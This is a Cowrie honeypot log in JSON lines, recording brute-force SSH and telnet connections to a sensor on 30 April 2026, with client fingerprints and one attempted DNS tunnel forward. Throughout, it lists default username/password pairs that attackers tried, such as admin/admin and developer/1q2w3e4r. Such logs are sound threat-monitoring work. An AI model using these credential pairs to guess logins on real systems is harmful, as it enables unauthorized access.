{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:46:35.540475Z","src_ip":"159.203.92.129","session":"884b77efb162","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:46:35.545155Z","src_ip":"159.203.92.129","session":"884b77efb162","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"default","message":"login attempt [admin/default] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:46:35.559126Z","src_ip":"159.203.92.129","session":"884b77efb162","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:46:36.568682Z","src_ip":"159.203.92.129","session":"884b77efb162","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":40462,"dst_ip":"10.17.0.5","dst_port":22,"session":"056c2f9efcb5","protocol":"ssh","message":"New connection: 87.251.64.176:40462 (10.17.0.5:22) [session: 056c2f9efcb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:46:37.585927Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:46:37.590448Z","src_ip":"87.251.64.176","session":"056c2f9efcb5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:46:37.695056Z","src_ip":"87.251.64.176","session":"056c2f9efcb5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:46:37.987476Z","src_ip":"87.251.64.176","session":"056c2f9efcb5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:46:38.088413Z","session":"056c2f9efcb5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:46:38.196770Z","src_ip":"87.251.64.176","session":"056c2f9efcb5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:46:38.297980Z","src_ip":"87.251.64.176","session":"056c2f9efcb5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54230,"dst_ip":"159.203.135.109","dst_port":22,"session":"68da6aba9de1","protocol":"ssh","message":"New connection: 159.203.92.129:54230 (159.203.135.109:22) [session: 68da6aba9de1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:47:20.477987Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:47:20.482182Z","src_ip":"159.203.92.129","session":"68da6aba9de1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:47:20.486604Z","src_ip":"159.203.92.129","session":"68da6aba9de1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"dell-2019","message":"login attempt [admin/dell-2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:47:20.496743Z","src_ip":"159.203.92.129","session":"68da6aba9de1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:47:21.503746Z","src_ip":"159.203.92.129","session":"68da6aba9de1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.20.218","src_port":59344,"dst_ip":"159.203.135.109","dst_port":22,"session":"b1f148d19077","protocol":"ssh","message":"New connection: 103.172.20.218:59344 (159.203.135.109:22) [session: b1f148d19077]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:47:27.248713Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:47:27.253222Z","src_ip":"103.172.20.218","session":"b1f148d19077","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:47:27.480895Z","src_ip":"103.172.20.218","session":"b1f148d19077","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"changethis","message":"login attempt [ubuntu/changethis] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:47:28.429055Z","src_ip":"103.172.20.218","session":"b1f148d19077","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:47:29.659440Z","src_ip":"103.172.20.218","session":"b1f148d19077","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.88.156.34","src_port":49665,"dst_ip":"10.17.0.5","dst_port":23,"session":"413e31ba6d48","protocol":"telnet","message":"New connection: 49.88.156.34:49665 (10.17.0.5:23) [session: 413e31ba6d48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:47:50.523737Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":36896,"dst_ip":"159.203.135.109","dst_port":22,"session":"484dbc0616fc","protocol":"ssh","message":"New connection: 159.203.92.129:36896 (159.203.135.109:22) [session: 484dbc0616fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:48:04.968933Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:48:04.973421Z","src_ip":"159.203.92.129","session":"484dbc0616fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:48:04.978504Z","src_ip":"159.203.92.129","session":"484dbc0616fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"dell@123","message":"login attempt [admin/dell@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:48:04.987679Z","src_ip":"159.203.92.129","session":"484dbc0616fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:48:05.993937Z","src_ip":"159.203.92.129","session":"484dbc0616fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.20.218","src_port":38102,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea87c6504e6c","protocol":"ssh","message":"New connection: 103.172.20.218:38102 (159.203.135.109:22) [session: ea87c6504e6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:48:24.674519Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:48:24.679391Z","src_ip":"103.172.20.218","session":"ea87c6504e6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:48:24.908355Z","src_ip":"103.172.20.218","session":"ea87c6504e6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"1q2w3e4r","message":"login attempt [developer/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:48:25.862322Z","src_ip":"103.172.20.218","session":"ea87c6504e6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:48:27.093939Z","src_ip":"103.172.20.218","session":"ea87c6504e6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.578500747680664,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:48:46.102142Z","src_ip":"49.88.156.34","session":"413e31ba6d48","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":52660,"dst_ip":"159.203.135.109","dst_port":22,"session":"43cb4a0df589","protocol":"ssh","message":"New connection: 159.203.92.129:52660 (159.203.135.109:22) [session: 43cb4a0df589]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:48:50.293281Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:48:50.297935Z","src_ip":"159.203.92.129","session":"43cb4a0df589","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:48:50.302464Z","src_ip":"159.203.92.129","session":"43cb4a0df589","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"dell@2019","message":"login attempt [admin/dell@2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:48:50.312244Z","src_ip":"159.203.92.129","session":"43cb4a0df589","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:48:51.317663Z","src_ip":"159.203.92.129","session":"43cb4a0df589","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.20.218","src_port":38374,"dst_ip":"159.203.135.109","dst_port":22,"session":"aadc129ee548","protocol":"ssh","message":"New connection: 103.172.20.218:38374 (159.203.135.109:22) [session: aadc129ee548]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:49:22.797842Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:49:22.801843Z","src_ip":"103.172.20.218","session":"aadc129ee548","protocol":"ssh"}
